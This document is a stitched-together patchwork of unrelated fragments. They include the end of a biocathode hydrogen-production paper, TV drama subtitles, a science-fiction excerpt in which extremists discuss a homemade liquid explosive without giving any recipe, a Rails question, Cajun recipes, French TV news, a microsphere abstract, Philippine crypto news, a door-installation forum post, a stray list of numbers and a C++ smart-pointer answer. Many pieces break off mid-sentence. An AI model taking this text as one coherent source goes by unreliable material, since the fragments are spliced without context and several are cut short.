Last but not least, the finding of the sulfate-dependent hydrogen-producing biocathode has raised the question; what type of wastewaters can be treated by using this technology? The sulfate dependency was due to the SRB domination in the biocathode and a specific range of sulfate concentration was required to maintain the balance and functionality of the biocathode to produce hydrogen while reducing sulfate. Domestic wastewater usually contain low amount of sulfate between 20 and 60 mg/L, although the concentration can be up to 500 mg/L for industrial wastewater (Lens et al., [@B22]; Moussa et al., [@B33]). Conventional sulfate removal technology benefits from the presence of SRB to treat domestic and industrial wastewaters. The benefits include reducing sludge accumulation and pathogen content (if present), removing heavy metals and as anaerobic digestion pre-treatment (van den Brand et al., [@B45]). In the present study, an "optimum" sulfate concentration was 288 mg/L which generated the maximum hydrogen volume. It is recommended to use domestic wastewater to enrich and maintain a hydrogen-producing biocathode, because low amounts of organic compounds and sulfate make it a better medium to enhance the growth of SRB. (Jeremiasse et al., [@B13]; Lee et al., [@B21]).
Drawbacks on low potential, mass transport limitation and long term operation
-----------------------------------------------------------------------------
At the end of experiments, white precipitations could be observed from cathodic chamber (Figure [9A](#F9){ref-type="fig"}). The precipitated compounds were attached along with biomass on the surface of cathode and caused the biocathode performance drop over time. We believe the precipitations that crystallized on the cathode surface was a form of alkali phosphates due to low reduction potentials (Jeremiasse et al., [@B12]). Moreover, recycle flow was connected between outlet and inlet in order to reduce mass transport limitation between bulk solution and the biocathode. Figure [9B](#F9){ref-type="fig"} shows the relationship between current density and the flow rate. Four flow rates were used to test the mass transport limitation: 0, 2.8, 7.1, and 11.4 mL/min. When zero flow rate was applied to the chamber, the current density reduced significantly. Flow rate 7.1 mL/min was selected to use in the experiments as it generated almost similar current density compared to the higher flow rate 11.4 mL/min.
{#F9}
The risk of enriched biocathode contaminated by methanogens under a hydrogen-rich environment after a long time operation have been previously reported (Wagner et al., [@B48]; Kyazze et al., [@B18]; van Eerten-Jansen et al., [@B46]; Bajracharya et al., [@B2]). Figure [10A](#F10){ref-type="fig"} shows performance dropped when methane was first detected in biocathode after 120 days of operation (further data not shown). Hydrogen production dropped remarkably after methane was detected in the biocathode at day 4. Current demand was also increased as more energy was required to support both hydrogen and methane production. Figure [10B](#F10){ref-type="fig"} shows the clean and normal recirculation tubes while Figure [10C](#F10){ref-type="fig"} shows the comparison between the normal and contaminated recirculation tubes when methane was first detected.
{#F10}
Conclusion {#s4}
==========
This study revealed that applied potential, sulfate and inorganic carbon are vital parameters to promote hydrogen production in a biocathode of electrolysis cell. The optimum ratio of PBS: $\text{HCO}_{3}^{-}$: $\text{NH}_{4}^{+}$: $\text{SO}_{4}^{2 -}$ in this study was determined as 950:610:90:288 mg/L (10:10:5:3 mM) for a biocathode sized 0.005 m^2^, operation volume 0.0025 m^3^ and applied potential −1.0 V vs. SHE in a continuous flow rate 0.1 mL/min. The information provided the first insight of how much carbon, nitrogen and sulfate sources that must be presented in the influent in order to provide better operational conditions. Even though the ratio may slightly vary according to the size of reactor, cell configuration and controlling system, the basic principle of how a biocathode catalyzes hydrogen under the influences of those main sources would still remain the same. Besides the ratio, external power supply was required to provide initial energy under low potential electrons to start the biocathode catalytic activity while sulfate served as final terminal electron acceptor to dispose the exhausted electrons. Inorganic carbon in the form of carbonates was added to the influent and worked as carbon backbone to support the growth of biocathode community. As organic carbon compounds were found in the biocathode effluents, it is believed that within the microbial community the inorganic carbon was consumed by acetogens to produce organic carbons such as acetate and then consumed by SRB as carbon source. Another significant finding is the present and quantity of sulfate did affect the hydrogen production in SRB-dominated biocathode. At high sulfate concentration, it could inhibit hydrogen production if the cathode potential was not low enough to reduce both sulfate and proton. The phenomena is similar to those electron bifurcation.
Supplementary data statement {#s5}
============================
Data supporting this publication is openly available under an 'Open Data Commons Open Database License'. (Lim et al., [@B24]) Additional metadata are available at: <https://doi.org/10.17634/150659-2>. Please contact Newcastle Research Data Service at <[email protected]> for access instructions.
Author contributions {#s6}
====================
SL carried out the experiment and wrote the manuscript with support from EY and KS. BK conceived the original idea and suggested on the experiment framework. All authors provided critical feedback and helped shape the research, analysis and manuscript.
Conflict of interest statement
------------------------------
The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
This research was financially supported by EPSRC (EP/N009746/1), NERC (NE/L01422X/1), The International Cooperating Project between China and European Union (2014DFE90110) and UKIERI Department of Science & Technology Partnerships (2014-15 S. No. 16). SL was sponsored by Skim Latihan Akedemik IPTA (SLAI) under the Malaysian Ministry of Education (MoE).
[^1]: Edited by: Deepak Pant, Flemish Institute for Technological Research, Belgium
[^2]: Reviewed by: Jung Rae Kim, Pusan National University, South Korea; Mohanakrishna Gunda, Qatar University, Qatar
[^3]: This article was submitted to Green and Sustainable Chemistry, a section of the journal Frontiers in Chemistry
In general, a high-performance portable power supply has been used as a main component of end-products essentially used in all portable information communication |
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] | going anywhere." "Two drops of the laudanum, three times a day." "And that will keep her under." "When her body has time to heal, we'll start to wean her off it." "Will it affect the baby?" "It shouldn't." "But you're not sure?" "Without knowing the extent of what she endured, there's, there's just no knowing." "I must get back to the hospital." "Thank you for coming on such short notice." "Anything for the cause." "I'll keep her in my prayers." "Look at her." "They beat a woman carrying a child to within an inch of her life." "She's a fighter." "She'll pull through it." "She shouldn't have to." "Sorry." "It's just, how do you reason with people capable of this level of violence?" "Georgia?" "The Lawrence boys are here." "I can't lose you, too." "Has the gentleman had a chance to read the menu?" "We'll both have the lapin à la bourguignonne." "So, you got all the way up to Ohio from Georgia." "At least, I'm assuming you made it across the bridge." "I couldn't quite make it out from my vantage point." "So that's what this is all about." "'Cause I left you behind..." "You left me for dead." "And this is about having an honest conversation." "Like gentlemen." "But I get it." "You don't want to talk, 'cause you think you got a plan." "First step in your plan right now is to take me down with that knife you got hidden under the table." "Next, you think you gone run right past Erroll and Roderick, and be out the restaurant before they have a chance to do shit." "But then what?" "Those two guys?" "By the door?" "Mine." "The men outside?" "The police?" "You know, the one good thing about America is that money can buy a lot of strong, powerful, armed friends." "I kind of want to see you try." "But then I think, when was the last time you slept?" "Does Noah got the strength in him for another failed escape?" "Can he stare out through them bars again?" "How long can his beard grow this time?" "A lot of questions come to mind." "But I wonder, for the life of me, do they ever enter yours?" "Truth be told, I don't think you ever think about what happens after your brilliant plans." "So I did the thinking this time, for you." "What happens after this here plan?" "You die." "And you leave that house girl all alone to mourn you." "I have my brother to thank for my introduction to boxing." "He trained for years as a musti-yuddha fighter." "Oh!" "Now who among you's feeling bricky tonight?" "'Cause I've got a hundred quid for any of you lot who think you can survive three rounds with me!" "This man here." "Come on!" "Get over here." "The violence." "Stop swallowing it." "It's a part of you." "It's in there." "Put it in here." "Let yourself be angry." "You deserve to be." "Take it out on them." "And enjoy it." "Fight, for the loss you suffered." "For revenge, on those that scarred you and took your family." "For every slight, big or small, you suffered for daring to exist in their world." "Let them know you do not forget." "Anything else?" "Yes." "Of course I believe that we can influence the vote." "I have faith in people to do the right thing." "Faith is meaningless when not supported by action." "Well, not everyone is corrupt." "There are enough who are." "And the system's corrupt." "The 1855 vote." "It's a perfect example." "Thousands of Southern Yankees crossed into Kansas and voted for a legislature that was pro-slavery." "It was a fraud, and that can happen here too, and we'll lose that seat." "To be sure, but fraud is hardly worthy of the free-stater's response." "How so?" " The murder of five innocent settlers?" " Mm-hmm." "Those who uphold the institution of slavery deal in brutality." "Action is all that they understand." "We live in a peaceful society." "And they do not." "I don't speak to a Scottish man in French." "I speak to him in a language that he understands." "Vous ne parlez pas de lui en Français parce que vous ne savez pas Français." "Excuse me?" "She said, "You don't speak to him in French, because you do not know French."" "That's true." "But I do know" " slavery needs to end." " On that we agree." "I've also seen enough to know the captain's way is the only way." "War is the only way." "It's women and children who are affected most when men wage war." "By condoning it, we're condemning husbands and sons to the slaughter." "I'm sorry, I haven't had the pleasure." "Elizabeth." "Elizabeth." "You mean the white ones." "Husbands and sons?" "The black ones are already condemned." "And who do you think will be affected most by your war?" "Those yet in bondage, who cannot protect themselves that will suffer retaliation," "Or perhaps they'll be inspired to join our ranks." "Together we'll strike a blow to the heart of slavery once and for all." "Hmm, well, since you boys will be in attendance at the rally," "I shall recruit you in helping erect the grandstand." "I'm sure Thad ad Elliot will avail themselves to you." "I have some business to attend to." "What business?" "Just a quick ride, but if you're worried about me, perhaps Elizabeth will join." "As chaperone." "To ensure I stay out of this trouble you accuse me of." "What do you supposed should happen to you now?" "Is it a long and prosperous life with Rosalee?" "Should you actually get your freedom dream?" " Why not?" " Why not?" "Why you?" "What makes you so special?" "Why do you get to be here?" "Hell... everybody got a freedom dream." "Welcome to mine." "No." "You the one who ain't supposed to be here." "I ain't leave you behind to die." "I threw you something to defend yourself with, 'cause I felt sorry for you." " You felt sorry..." " I ain't through yet." "You can sit there in your pristine clothes speaking with the proper white man's tongue." "And you can fool everyone outside there in the civilized world." "You can feel everyone up in here, but you can't fool me." "You're still the snake of a slave driver you was when you left Macon." "I seen you." "You ain't good enough for this here life." "I ain't talking about the money or even the freedom." "You ain't enough of a man to earn drawing breath." "And the thing is, you know it." "Everyone around you knows it." "Everyone who's ever known you." "I thought you wanted an honest conversation." "That's what you wanted, right?" "You wanted to talk, let's talk." "Let's talk about why I'm sitting here and why you ain't out there looking for your wife and your lost little girl." "I don't see 'em up in that big, pretty house." "What you know about family?" "You got none to worry about." "Noah only cares about Noah!" "But you wouldn't have made it off that plantation without me." "Or Moses or Henry." "Yeah." "They deaths on me." "And I would do anything to change it all if I could." "Good." "'Cause now you gon' have your chance to prove it." "Show your true colors." "Today we're gonna exercise our right." "This town we're in is destitute." "And desperate." "Tomorrow the people are gonna vote overwhelmingly to put another rich planter in that seat." "And he isn't gonna do anything for 'em." "The people in this town who are angry with no way to express it are gonna vote with their hate." "And I'm gonna do something to counter that." "'Cause you know what the alternative is?" "Doing nothing." "That's not the captain's way." "Should discourage them tomorrow, don't you think?" "If there had been voters here would you have turned back?" "Nope." "What happened to make you willing to go to such extremes?" "I grew up on the Missouri border." "Walked to school every morning past this tobacco plantation." "Same black faces, working the same crops." "I didn't think anything of it." "I was just a boy." "And then, when I was about nine, on that same path, I heard this sound." "It stopped me in my tracks." "Never heard anything like it, and I haven't since." "I walked to the edge of the field and there's a man, he'd been beaten bloody and locked in the stocks as punishment." "That sound was his son." "To say that he was crying doesn't do it justice." "Every day I walked to and from school, that man and his son were there." "He watched his father waste away in those stocks." "The overseer gave him just enough water to stay alive, nothing more |
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] | 's caress to put her at ease.
"Surely," she observed, collecting herself, "the AAnn can't hope to match this flowering joint effort with one of their own?" Around them, clusters of miners came and went, toiling at flexible shifts. Whenever a new group lay down on benches nearby, the diplomats' conversation shifted to innocuous, generalized topics until the diggers departed. The information being discussed at the small table in the back was too sensitive for general dissemination. It would have to remain so until the grand proposition had been announced to the public.
Lyrkenparmew indicated mild distress. "They've been very busy, the scale-skinned ones. In the area of commercial treaty making they have been especially active. The accumulation of individual wealth occupies greater status among the AAnn and humankind than it does among my people. This similar outlook affords a kind of instant rapport among certain of your kind and many of the AAnn." His truhands were in constant motion, making it difficult for Fanielle to follow every subtle overtone of the conversation.
"Many covenants have been proposed between AAnn and human, and several adopted, but nothing like the Commonwealth. The AAnn would never contemplate such an intimate union with anyone." He let out a series of shrill clicks. "They are too enamored of their own imagined destiny as rulers of this part of the galaxy to ever surrender any real control to another species. But beyond that, they are quite willing to consider all manner of agreements."
"The problem," Haflunormet continued, "is that too many humans are easily blinded by promises of the riches to be gained from trade with the scaled ones, who are not above bribing your people to secure support, special treatment, and whatever other perks they believe they can so acquire."
Fanielle was embarrassed for people she did not know and would never meet. "My kind have come a long way from the time when we used to beat one another's heads in for the most insignificant reasons. But there still exist those who crawl through life as ethical hemophiliacs."
"What they don't realize," Lyrkenparmew went on solemnly, "is that opportunism is ingrained in the AAnn social structure. They will treat fairly when it best suits their needs, and break legs when it does not. The grief arises from their skill. They have made a science of duplicity. I am not saying that humans are naÏve, but there is no sentient in the known universe as crafty, sly, and cunning as a mature, experienced AAnn." He gestured mild apology of oversight. "But then, there is no need for me to tell you this. You have already met one such."
She nodded. "The emissary in question could charm a _sifla_ out of its _morgewout_. When not tearing out your throat."
Haflunormet whistle-clicked concurrence. "His reputation spreads wider than does his water."
"I know he charmed a colleague of mine back at the compound." She looked straight at Haflunormet. "Mind the name 'Jorge Sertoa.' He's a very clever fellow, but a bit of cold plasma. Has dark matter in place of a backbone." At the dual gestures of bemusement from her companions, she hurried to modify the simile. "Sorry—in place of his predominate dorsal chitin." At this clarification, they gesticulated knowingly.
"And he's not alone in his sympathies for the AAnn. There are others at the settlement who feel similarly, though I'm happy to say they're in the minority. When the proposal is announced, I think you'll be able to count on the support of the majority of the staff, diplomatic and support personnel alike, at Azerick." Her expression hardened. "I'll arrange to keep an eye on Jorge and the others so they don't cause any trouble."
Lyrkenparmew indicated understanding. "Everything is suddenly starting to move very rapidly. There is a sense of great events having been set inexorably in motion. I hardly need tell either of you that if this proposal goes down to defeat, it could be fifty or a hundred cycles before anyone dares to bring it up again. Failure carries with it the concurrent risk that the opponents of unification, alarmed by the boldness of the proposition, will unite in even more formidable leagues to oppose any reconsideration." His voice lowered as his clicking subsided to the intensity of pins landing on a metal sheet.
"I'm not trying to alarm you, but this is the way the gist is seen. Our first chance may very well prove to be our best chance, if not necessarily our last."
"I wonder if it's too soon." Fanielle almost leaned back on her bench before she remembered that it had no back. "I wonder if we're pushing too much too fast."
The genial twisting of Lyrkenparmew's truhands insinuated inevitability. "Those in charge of making such decisions feel they have no choice but to press for the establishment of the complete Commonwealth. Now that the concept has been brokered, it has gained a momentum all its own. It is like entering into a burrow that has been slimed. Once you've started downward, there's no stopping until you reach the bottom."
Haflunormet drained the last of his drink. It was nearing time to leave, lest they become too conspicuous. "This will be the cycle that the progeny of our clans will venerate forever."
" _If_ our designs are fulfilled." Lyrkenparmew slipped sideways off his bench while Fanielle straightened and stretched. Her back was stiff from sitting so long in one place without any support.
"I suppose I'll be heading back to the plateau in a few days." She checked her comm unit. "They won't be expecting me so early, but no one will question the timing of my return." She smiled wryly. "After all, what right-minded human could stand more than a couple of days of vacation in a place like Daret?"
"We are all of us hoping," Lyrkenparmew commented quietly as they left the table behind and headed for the transport platform, "that it is individuals like yourself who are the right-minded humans."
Reaching out, she momentarily rested the flat of her hand against the back of the envoy's abdomen, feeling his upper set of wing cases vibrate against her palm. "I'm not alone in liking your kind, Lyrkenparmew, and not just for the ever-amazing variety of wonderful fragrances you emit, or for your aid in the Pitarian War. There are plenty of us who are fond of thranx culture, and philosophy, and your way of looking at the universe. It's minds we seek in common, not shapes."
"How fortunate." The widely spaced nerve endings in Lyrkenparmew's exoskeleton conveyed to him the warmth of the barely insulated mammalian flesh. Such a strange sensation it was, to be accompanied by a creature that was little more than a loose sack of fluids wrapped around a barely balanced upright bony framework held together by fragile bonds of stretched protein. That this female's often erratic kind might be the ones to at last put an end to centuries of AAnn depredations was scarce to be believed. Many thranx, in fact, would not believe it.
They would have to be convinced.
17
Conversation in the room was subdued. Skettle let them talk. It helped to relieve the tension. As Nevisrighne and Botha, Pierrot and Davies and the others chatted quietly, the old man looked on with pride. In a stern, paternal fashion he was as proud of them as if they were his real children. Very soon now they would join gloriously together, patriarch and progeny, to sow destruction in order to prevent an onslaught of racial commingling of a kind their virtuous ancestors could never in their wildest dreams have imagined.
Walking over to where Botha was seated poring one last time over his beloved charts, he put a hand on the other man's shoulder. "The special explosives are ready?"
The other man adjusted his multifunction lenses and nodded. "It's a shame we couldn't disguise them the way we did the smaller stuff and just bring them in with us. I'd feel better knowing the full provenance of the ingredients."
"I know. But even a couple of small tanks of highly sensitive reactant would have set off alarms in customs. How fortunate that you and our other equally brilliant technical people have been able to devise a liquid explosive that can be produced from widely available materials."
Botha allowed himself a rare grin. "Catalyzed right here in their own city, too. Anyone reviewing the purchases would think one group was going to mix up some lacquer to paint a house, and the other a few crates of home brew."
"Home brew it is," Skettle replied, "only this blend is not for drinking." He raised his gaze to the far corner of the hotel's reserved and shielded conference room. The pair of trivarium tanks standing upright on the floor near the window—through which they could be hastily chucked in the event of a lightning raid by the authorities—were small, light, exceptionally strong, resistant to the caustic liquids they were originally designed to hold, and of a familiar commercial design that would spark no alarms in the minds of anyone who happened to see them. For |
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Organizing contacts by last name for display in an alphabetized list
Contacts each have a first_name and last_name. In my index for contacts, I display a list default_scoped by last_name in ASC order. This works OK, but I'm looking to make it better.
I want to create an organized list in the index that groups contacts by the first letter of their last name, and I'm sort of stuck on how to get this done. The result would look like:
<div class="contacts" id="contact_list_a">
<h2>A</h2>
<div class="contact">John Abercrombie</div>
<div class="contact">Julie Aloters</div>
</div>
<div class="contacts" id="contact_list_b">
<h2>B</h2>
<div class="contact">Harry Bronson</div>
<div class="contact">Stevie Brussels</div>
</div>
...(continues)
I only see two options so far because of my inexperience:
1) I could create a variable for each letter of the alphabet, and add contacts where appropriate to each. This creates tons of calls to the DB (I'm assuming), and the abundance of variables in my controller doesn't seem elegant at all.
2) I could pull all contacts from my model into a single variable (what I'm doing now), then in my controller create a private method which iterates through the array and assigns new variables accordingly. This |
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2 teaspoons Chef Paul Prudhomme's Magic Pepper Sauce, or othermedium-hot pepper sauce
1 large egg
1½ cups vegetable oil
_Crab Salad_
¼ cup thinly sliced green onions, whiteand light green part only
1 pound lump crabmeat, picked over toremove the shells and cartilage
_Seasoning Mix_
2 teaspoons salt
1½ teaspoons onion powder
1 teaspoon garlic powder
1 teaspoon dry mustard
1 teaspoon paprika
¾ teaspoon dried basil
¾ teaspoon black pepper
½ teaspoon cayenne
½ teaspoon dill weed
½ teaspoon white pepper
_Pasta_
3 quarts water
8 ounces uncooked pasta (radiatore, gemelli, orfusilli work well, or use tricolor pasta for aneye-catching presentation)
1 teaspoon salt
1 tablespoon olive oil
1 medium-size carrot (or you can use sweet potato orjicama), cut into julienne strips
1 medium-size cucumber, peeled, seeded, and cutinto julienne strips
1. Combine the seasoning mix ingredients in a small bowl.
2. Cut the avocados in half lengthwise and remove the pits. Carefully remove the peel, leaving the halves in 1 piece. Coarsely dice 2 of the avocados (4 halves) and sprinkle the remaining halves with a little lemon juice to prevent discoloration. Set aside.
3. Make the vegetable mixture. In a 12-inch skillet, heat the olive oil over high heat just until it begins to smoke, about 3 to 4 minutes. Add the onions, all the bell peppers, the jalapeño peppers, garlic, and 2 tablespoons of the seasoning mix. Cook, stirring frequently, until the vegetables' color is similar to that of autumn leaves—the onions light golden and the bell peppers with rich but subdued colors—about 4 minutes. _At this point there is an up-front seasoning taste, followed by the sweetness of caramelized onions and bell peppers, and finishing with heat in the back of the mouth_. Continue to cook until the vegetables are mushy, the bell pepper colors are faded, and the onions are dark brown, about 4 more minutes. _Now the caramelization brings out the natural sweetness of the onions and takes away their pungency. Note how the deep brown sweetness compares with the earlier less brown flavor_. Remove from the heat and set aside.
4. Make the mayonnaise and sauce: Combine the pepper sauce and egg in a food processor. Process briefly to combine, then add the cooled vegetable mixture. Process until the mixture is puréed, then add the vegetable oil in a slow, steady stream until the mayonnaise is thick and the oil is absorbed. Remove 1¼ cups of this mayonnaise and refrigerate it for later use. The mayonnaise will have lots of small specks from the cooked vegetables and seasonings. _The primary taste is a rich creaminess with a slightly roasted middle flavor. The back taste gives a light bite from the black pepper. The overall effect is light and well balanced, which willallow the flavor of the crab to come through_. To the mayonnaise remaining in the food processor add the reserved chopped avocado and the remaining seasoning mix and process until smooth. Refrigerate this sauce until ready to use.
5. Make the crab salad: Combine the green onions, crabmeat, and reserved mayonnaise. Fold gently till well mixed, but do not overmix. Refrigerate until ready to use. (Makes about 3 cups.)
6. Cook the pasta: In a 5-quart pot, bring the water to a boil. Add the pasta, salt, and olive oil, return to a boil, and cook until the pasta is about three quarters done, about 8 minutes. Add the carrot and continue to cook until the pasta reaches the _al dente_ stage, about 4 minutes longer. Drain the pasta and rinse immediately under cold water until the pasta is cool. Drain thoroughly, place in a large bowl, and add the cucumber strips and sauce. Toss gently until evenly coated.
7. To serve, place 1 to 1½ cups of pasta on a plate, place an avocado half on the pasta, and mound ½ cup of the crab salad on top of the avocado.
# A Little of This, a Little of That
# Condiments, Dressings, Dips, and So Forth
**Here in New Orleans we talk about** _lagniappe,_ which means a little something extra. These recipes are a little something extra, for they add an extra touch to a dish or a meal—a flavor enhancement to go along with a main course, a sauce for dipping, or a dressing to turn fruit or vegetables into a salad. Rural Louisiana cooks were adept at using local herbs in sauces and dressings, and you can detect that influence here.
## Basil Yogurt Dressing
**Makes about 3 cups**
_I developed this dressing recipe using my own pepper sauce, so if you use a different sauce, you'll need to adjust the amount to taste. Pepper sauces vary considerably in heat, and some have a very bitter taste. The amount of pepper sauce is small, which means this dressing is not particularly hot—tasty, but not burning. By the way, you'd be correct if you guessed that yogurt wasn't in wide use in south Louisiana years ago—we discovered it fairly recently, just as the rest of the country did. But we've been using buttermilk and homemade mayonnaise as the bases for salad dressings for generations and, as I've mentioned elsewhere, we're quick to recognize any good flavor and add it to the ingredients we use often._
One 16-ounce container plain yogurt
2 tablespoon white balsamic vinegar
1 tablespoon tamari
3 ounces smoked Cheddar cheese, freshly grated
½ cup lightly packed chopped fresh basil leaves
1 tablespoon freshly squeezed lime juice
2 tablespoons cane syrup or any sweet syrup
2 tablespoons Chef Paul Prudhomme's Magic Pepper Sauce, or other medium-hot pepper sauce
Process all the ingredients in a blender until the mixture is smooth, about 20 seconds. Refrigerate until ready to serve.
## Caraway Mango Mayonnaise
**Makes about 3½ cups**
_Fresh fruit salad, vegetable salad, green salad, dipping sauce—you could run out of food before you run out of ways to use this mayonnaise!_
2 large eggs
1½ cups vegetable oil
1 tablespoon rice vinegar
1 tablespoon cane vinegar, or your favoritevinegar
¼ cup white balsamic vinegar
1 tablespoon lightly packed dark brown sugar
1½ cups peeled, seeded, and chopped ripemangoes (about 2 small)
1 tablespoon caraway seeds, roasted
**1. Combine the seasoning mix ingredients in a small bowl.**
2. In a blender, process the eggs until they are frothy, about 20 seconds. With the blender running, slowly add the vegetable oil in a thin stream until the mixture has the consistency of mayonnaise. Add the 3 vinegars, the brown sugar, mangoes, and the seasoning mix and process until the dressing is smooth. Stir in the caraway seeds until well distributed. Refrigerate until ready to use.
_Seasoning Mix_
1¼ teaspoons salt1 teaspoon garlic powder
1 teaspoon onion powder
¾ teaspoon ground coriander
½ teaspoon ground cumin
½ teaspoon paprika
½ teaspoon dried thyme leaves
¼ teaspoon black pepper
¼ teaspoon white pepper
## Dried Shrimp Dip
**Makes almost 6 cups**
_Dried shrimp are available in small packages at Asian stores and some supermarkets, often near the checkout register. Maybe you've seen them before, and wondered what in the world to do with them—now you have one suggestion! The shrimp should be small, crescent-shaped fellows, less than the diameter of a dime. If your dried shrimp are larger, chop them into ¼-inch pieces before measuring. The best way to "powder" them is to grind them in an electric coffee grinder, gently shaking and turning the grinder while it's working._
_This dip is a perfect complement to boiled shrimp, and I think it's great with raw vegetables, especially those with a sharp taste, like turnips, or those reminiscent of Asian cooking, such as bok choy_.
3 tablespoons unsalted butter
1 cup chopped onions
½ cup seeded and chopped greenbell peppers
½ cup seeded and chopped yellowbell peppers
3 tablespoon seeded and mincedfresh serrano chile peppers
¼ cup seeded and minced freshjalapeño chile peppers
1 tablespoon peeled and minced fresh Ginger
½ cup dried shrimp, powdered (see headnote above)
One 13.5-ounce can unsweetened coconut milk
2 tablespoons lightly packed dark brown sugar
¼ cup freshly squeezed lime juice
2 large eggs
2 cups vegetable oil
¼ cup cane syrup, or your favorite syrup, such as fruit or pure maple syrup (but not pancake syrup)
1 tablespoon brown mustard seeds, roasted
_Seasoning Mix_
1 tablespoon ground dried Anaheim chile peppers
1 tablespoon ground dried New Mexico chile peppers
1½ teaspoons dried oregano
1 teaspoon dried basil1 teaspoon ground dried pasilla chile |
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] | the National Cattlemen's Beef Association).Ce lundi 6 février, le public français a pu découvrir une série bien de chez nous, "Ennemi public". Enfin... pas trop de chez nous quand même. La série version française diffère en effet légèrement de la version belge, certains termes utilisés dans les dialogues étant apparemment trop belges au goût de TF1.
Parce que maintenant, il y a un doublage entre français de Belgique et français de France? #ennemipublic #TF1 #MaisOùVaLeMonde
Ariane Meertens, responsable des séries belges pour la RTBF, explique la raison de cette demande de la chaîne privée française. "C'est vrai que c'était une petite surprise quand la série a été vendue à TF1. Ils ont demandé que l'on fasse un doublage sur certaines de nos expressions belges qui n'étaient pas assez claires pour le public français."
Au final, les changements sont assez minimes : quatre-vingt-dix vient remplacer nos nonantes, ou encore bourgmestre devient maire. "On l'a fait avec le sourire, assez rapidement, et par les techniciens belges qui ont fait la série originale, sous la responsabilité du réalisateur de la série. Ça valait le coup pour passer sur TF1, c'est ce que l'on s'est tous dit", ajoute Mme Meertens.Modifying the surface charge of pathogen-sized microspheres for studying pathogen transport in groundwater.
Consuming pathogen-contaminated groundwater has caused many waterborne disease worldwide. Microspheres are often used as pathogen surrogates because they can be made similar to pathogens in terms of their sizes, buoyant densities, and shapes. Laboratory studies have, however, shown that the surface charges of microspheres are very different from those of pathogens of comparable sizes, and that their attenuation and transport behaviors differ significantly to those of the pathogens mimicked. Thus, for microspheres to be better surrogates, their surface charges need to be modified. We have demonstrated that the surface charge of a microorganism can be closely mimicked by microspheres covalently coated with a protein that has a similar pHPZC to the microorganism. Using MS2 bacteriophage to test our concept, 20 nm carboxylated microspheres were covalently coated with casein. Zeta potentials as a function of pH were determined for purified MS2, casein, and uncoated and coated microspheres. The uncoated microspheres were significantly more negatively charged than MS2. The coated microspheres displayed zeta potentials and a pHPZC value similar to MS2. The modified surface charge on the microspheres was stable for at least 4 mo. Using the concept developed from this study, surrogates for many specific pathogens of concern can be developed, and the results can be corrected with pathogen die-off determined independently in the laboratory. Protein-coated microspheres could provide a new and alternative approach to investigate pathogen transport in groundwater. Future research is required to validate the surrogates' resemblances to pathogens in terms of their attenuation and transport behaviors in groundwater.Aug 11, 2018 at 11:18 // News
Coin Idol Author
The Philippines government is constructing a Cryptocurrency Valley of Asia, a Crypto and FinTech center identical to the one built in Canton BPOs Zug, in Switzerland. The great estate will be constructed at the Cagayan Special Economic Zone and Freeport while partnering with Northern Star Gaming & Resorts Inc, a private property developer. The zone is in position to handle 25 cryptocurrency companies which will function within the area.
The Cagayan Economic Zone Authority (CEZA), Philippines government-owned, is partnering with Northern Star Gaming & Resorts Inc. to create a cryptocurrency and FinTech hub known as Crypto Valley of Asia (CVA).
A 25-shop Body
This is, of course part, of the Philippines government's bid to cherish a FinTech sector to attract international Blockchain firms to start up big shops in the nation.
The publication explained:
“The CVA will consist of a 25-shop housing development inside the cyberpark developed in compliance with the strict security requirements for licensed overseas virtual exchanges (OVEs) located in CEZA. It will include co-working and living spaces, business incubation and acceleration hubs as well as back offices of OVEs and service providers to the global crypto space.”
Raul L Lambino, CEO and CEZA administrator said that this great infrastructure will serve to allure very many foreign investors and world FinTech players to Philippines and CEZA. This will enable the nation to turn into one of the giant destinations for works related to Blockchain and FinTech.
The authority proclaimed recently that it has given two licenses to crypto companies. 17 firms in the crypto industry have by now settled in full payments and the authority is believed to earn $68 million from the operation of licensing 25 cryptocurrency and FinTech companies.
The main goal is for the CVA to experience an economic boom that will enable many Filipinos to pursue various careers in technology-related fields, and not forgetting that the third-party business providers (BPOs) will bring more employment to the area and the country at large.
Philippines Set to be on the World Map of Crypto
Northern Star has consigned to investing USD$100 million over the next decade and the funds are already secured from different regional and international firms that will operate within the CVA.
Chairman Enrique Gonzalez raised a comment that:
“Crypto Valley of Asia and CEZA will put the Philippines on the global map of fintech and blockchain. Similar to other progressive jurisdictions such as Zug of Switzerland, we will create an environment that fosters innovation, entrepreneurship and critical skills development thru education and BPO training.”
The chairman repeated that with bullish world partners that have assured entry into the master-planned development. He believes that if this pace and vigour are maintained, the Philippines will be the leading destination for Blockchain offshoring.Pending county legislature approval, the Times Union Center will soon be home to a Johnny atriumRockets, said Bob Belber, the center's general manager.
Local franchise owner Louis Chicatelli, a Niskayuna attorney who already operates the Johnny Rockets at Crossgates Mall, would operate this one as well. And while the food menus will be the same, the TU Center John Rockets will also have a full bar as well as handcrafted beer.COMMUNITY FORUM
exterior door alignment
I recently installed a new exterior door (30x80 prehung 4" exterior walls). when I installed the door everything was perfect. The gap between the door frame and the door itself was perfect. The door was level, everything seemed great. 2 days later it seems as though the top corner of the door has moved causing the door to hit the latch side of the frame at the top. I used expanding foam to insulate around the door but that was right away and this didn't happen until 2 days after install. I dont have the trim installed around the door yet. is it possible that the hinges have sagged a little? should I just readjust the door frame? What to do??? Any help is appreciated.
I dont think you should of used spray foam insulation on your doors most door installer do not use it, because of when it drys it does expand causing the door to shift,you can never be certain if you have the same amount on each side.if you have not done the trim work I would remove the door and take off the spray foam, do a rough test and if it is not level on all side use shims to level it, then silicone the edges of the door frame, then caulk outer edges of where the door
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2014,
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1941,
13,
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15,
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1971,
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247,
2014,
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1311,
1093,
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2151,
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1929,
281,
320,
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11,
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369,
1959,
432,
475,
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31911,
38143,
11,
313,
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575,
17348,
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10,
285,
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] | simplest way to handle it is with a smart pointer:
class foo {
private:
std::unique_ptr<class1> class1ObjectPointer;
public:
foo() : class1ObjectPointer(new class1) {}
// implicit copying and destructor are fine
foomethod() {*class1ObjectPointer = some_method();}
// or, if not assignable, class1ObjectPointer.reset(new class1(*some_method()));
};
If you really want to manage it yourself, then you'll need to override the default copy constructor and copy-assignment operator per the Rule of Three, make sure you delete the old object when reassigning the pointer, and be careful about exception safety. And there's no need to either check for NULL before deleting, or to assign NULL in the destructor.
